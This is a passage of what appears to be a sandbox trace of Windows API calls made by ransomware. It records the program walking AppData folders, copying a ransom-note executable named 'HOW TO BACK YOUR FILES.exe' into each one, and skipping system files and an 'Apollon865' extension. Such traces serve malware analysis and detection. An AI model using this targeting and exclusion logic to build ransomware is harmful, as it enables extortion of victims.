	[0045.759] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.759] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33573370, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33573370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.759] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.759] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="Apollon865.txt.exe") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2=".") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="..") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="windows") returned -1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="bootmgr") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="temp") returned -1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="pagefile.sys") returned -1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="boot") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="ids.txt") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="ntuser.dat") returned 1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="perflogs") returned -1
	[0045.759] lstrcmpiW (lpString1="old", lpString2="MSBuild") returned 1
	[0045.759] lstrlenW (lpString="old") returned 3
	[0045.759] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*") returned 75
	[0045.759] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="old" | out: lpString1="old") returned="old"
	[0045.759] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0045.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x5994f0
	[0045.760] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0045.760] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0
	[0045.760] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.760] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0045.760] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old"
	[0045.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0045.760] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 77
	[0045.760] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old"
	[0045.760] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.766] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x335994d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335994d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.766] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.766] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.766] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.766] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x335994d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335994d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.766] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.766] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.766] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.766] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.766] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="Apollon865.txt.exe") returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2=".") returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="..") returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="windows") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="bootmgr") returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="temp") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="pagefile.sys") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="boot") returned 1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="ids.txt") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="ntuser.dat") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="perflogs") returned -1
	[0045.766] lstrcmpiW (lpString1="edb00001.log", lpString2="MSBuild") returned -1
	[0045.766] lstrlenW (lpString="edb00001.log") returned 12
	[0045.766] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*") returned 79
	[0045.767] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0045.767] lstrlenW (lpString="edb00001.log") returned 12
	[0045.767] lstrlenW (lpString="Apollon865") returned 10
	[0045.767] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0045.767] lstrlenW (lpString=".dll") returned 4
	[0045.767] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0045.767] lstrlenW (lpString=".lnk") returned 4
	[0045.767] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0045.767] lstrlenW (lpString=".ini") returned 4
	[0045.767] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0045.767] lstrlenW (lpString=".sys") returned 4
	[0045.767] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0045.767] lstrlenW (lpString="edb00001.log") returned 12
	[0045.767] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0045.767] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0045.767] lstrlenW (lpString="Apollon865") returned 10
	[0045.767] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0045.767] lstrlenW (lpString=".dll") returned 4
	[0045.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0045.767] lstrlenW (lpString=".lnk") returned 4
	[0045.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0045.767] lstrlenW (lpString=".ini") returned 4
	[0045.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0045.767] lstrlenW (lpString=".sys") returned 4
	[0045.767] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0045.767] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0045.767] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0045.767] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0045.767] lstrlenW (lpString="Apollon865") returned 10
	[0045.767] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0045.768] lstrlenW (lpString=".dll") returned 4
	[0045.768] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0045.768] lstrlenW (lpString=".lnk") returned 4
	[0045.768] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0045.768] lstrlenW (lpString=".ini") returned 4
	[0045.768] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0045.768] lstrlenW (lpString=".sys") returned 4
	[0045.768] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0045.768] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0045.768] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio"
	[0045.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0045.768] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0045.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned 59
	[0045.768] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio"
	[0045.768] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.768] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.772] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.772] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x335994d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335994d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.772] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.772] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.772] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.773] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x335994d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335994d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.773] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.773] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.773] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.773] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.773] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5efe55e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content14.dat", cAlternateFileName="CONTEN~1.DAT")) returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="Apollon865.txt.exe") returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2=".") returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="..") returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="windows") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="bootmgr") returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="temp") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="pagefile.sys") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="boot") returned 1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="ids.txt") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="ntuser.dat") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="perflogs") returned -1
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2="MSBuild") returned -1
	[0045.773] lstrlenW (lpString="content14.dat") returned 13
	[0045.773] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*") returned 61
	[0045.773] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="content14.dat" | out: lpString1="content14.dat") returned="content14.dat"
	[0045.773] lstrlenW (lpString="content14.dat") returned 13
	[0045.773] lstrlenW (lpString="Apollon865") returned 10
	[0045.773] lstrcmpiW (lpString1="tent14.dat", lpString2="Apollon865") returned 1
	[0045.773] lstrlenW (lpString=".dll") returned 4
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2=".dll") returned 1
	[0045.773] lstrlenW (lpString=".lnk") returned 4
	[0045.773] lstrcmpiW (lpString1="content14.dat", lpString2=".lnk") returned 1
	[0045.773] lstrlenW (lpString=".ini") returned 4
	[0045.774] lstrcmpiW (lpString1="content14.dat", lpString2=".ini") returned 1
	[0045.774] lstrlenW (lpString=".sys") returned 4
	[0045.774] lstrcmpiW (lpString1="content14.dat", lpString2=".sys") returned 1
	[0045.774] lstrlenW (lpString="content14.dat") returned 13
	[0045.774] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="thumbs.dat" | out: lpString1="thumbs.dat") returned="thumbs.dat"
	[0045.774] lstrlenW (lpString="thumbs.dat") returned 10
	[0045.774] lstrlenW (lpString="Apollon865") returned 10
	[0045.774] lstrlenW (lpString=".dll") returned 4
	[0045.774] lstrcmpiW (lpString1="thumbs.dat", lpString2=".dll") returned 1
	[0045.774] lstrlenW (lpString=".lnk") returned 4
	[0045.774] lstrcmpiW (lpString1="thumbs.dat", lpString2=".lnk") returned 1
	[0045.774] lstrlenW (lpString=".ini") returned 4
	[0045.774] lstrcmpiW (lpString1="thumbs.dat", lpString2=".ini") returned 1
	[0045.774] lstrlenW (lpString=".sys") returned 4
	[0045.774] lstrcmpiW (lpString1="thumbs.dat", lpString2=".sys") returned 1
	[0045.774] lstrlenW (lpString="thumbs.dat") returned 10
	[0045.774] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig"
	[0045.774] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.774] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0045.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned 73
	[0045.774] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig"
	[0045.774] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.774] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\taskschedulerconfig\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.778] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.778] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335bf630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.779] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.779] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.779] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.779] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335bf630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.779] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.779] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.779] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.779] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.779] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335bf630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.779] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.779] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x335bf630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.779] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.779] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc50
	[0045.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher"
	[0045.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0045.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0045.779] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher") returned 63
	[0045.779] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher"
	[0045.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x335bf630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x335bf630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.786] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.786] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.786] lstrcmpiW (lpString1=".", lpString2=".") returned 0
